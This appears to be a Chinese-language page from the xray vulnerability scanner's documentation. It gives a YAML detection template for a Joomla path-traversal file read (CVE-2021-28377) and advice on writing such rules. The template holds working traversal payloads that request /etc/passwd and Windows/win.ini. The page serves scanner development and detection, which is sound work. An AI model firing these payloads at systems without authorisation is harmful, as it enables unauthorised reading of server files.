> ## Documentation Index
> Fetch the complete documentation index at: https://docs.xray.cool/llms.txt
> Use this file to discover all available pages before exploring further.

# 目录穿越/任意文件读取

```yaml theme={null}
name: poc-yaml-joomla-cve-2021-28377-fileread
manual: true
transport: http
rules:
    r0:
        request:
            cache: true
            method: GET
            path: /index.php?f=../../../../../../../etc/passwd
        expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body) && response.body_string.contains("xxxxx")
    r1:
        request:
            cache: true
            method: GET
            path: /index.php?f=../../../../../../../Windows/win.ini
        expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body_string.contains("xxxxx")
expression: r0() || r1()
detail:
    author: Chaitin
    links:
        - http://example.com
```

在这类漏洞中，必然至少有一个rule会去访问我们所需要读取的文件，那么

* 对于`读取文件`的rule中
  1. 关于读取的文件
     * 需要按照漏洞的利用方式去读取相关的文件
     * 如果目标系统中存在着某些通用的配置文件，那么首先推荐去读取这些web系统内的文件，尽可能地减少发包量，例如可以读取web.config等的文件
     * 其次我们再去考虑系统中的文件，这部分内容建议参考现在我们给出的poc模版相关内容。同时需要注意的是，读取系统文件时，我们需要充分考虑目标web系统能够被架设在哪些系统上，对于可行的系统都要写出相应的rule去进行匹配
  2. 关于匹配的内容
     * 这部分直接依据所读取的文件写出对应的匹配语句即可。但是需要注意的是，除了固有文件内容的匹配之外，**推荐匹配页面中的其他内容，以防误报**，如果只返回了泄露的文件内容，可以考虑增加其他特征（规则）来辅助匹配。
  3. 补充说明
     * 读取系统文件时，考虑到信息泄露的可能性，比如你的读取的response会记录在某个可以被访问的日志文件中，就会有一定的损害，所以尽量读取一些不会暴露信息的文件，比如`/etc/resolv.conf`等，实在找不到，再选择`/etc/passwd`

其他rule的内容需要按照漏洞的具体内容按需编写

## 模板

[目录穿越/文件读取](/plugins/practice/poc/Template#file-read)
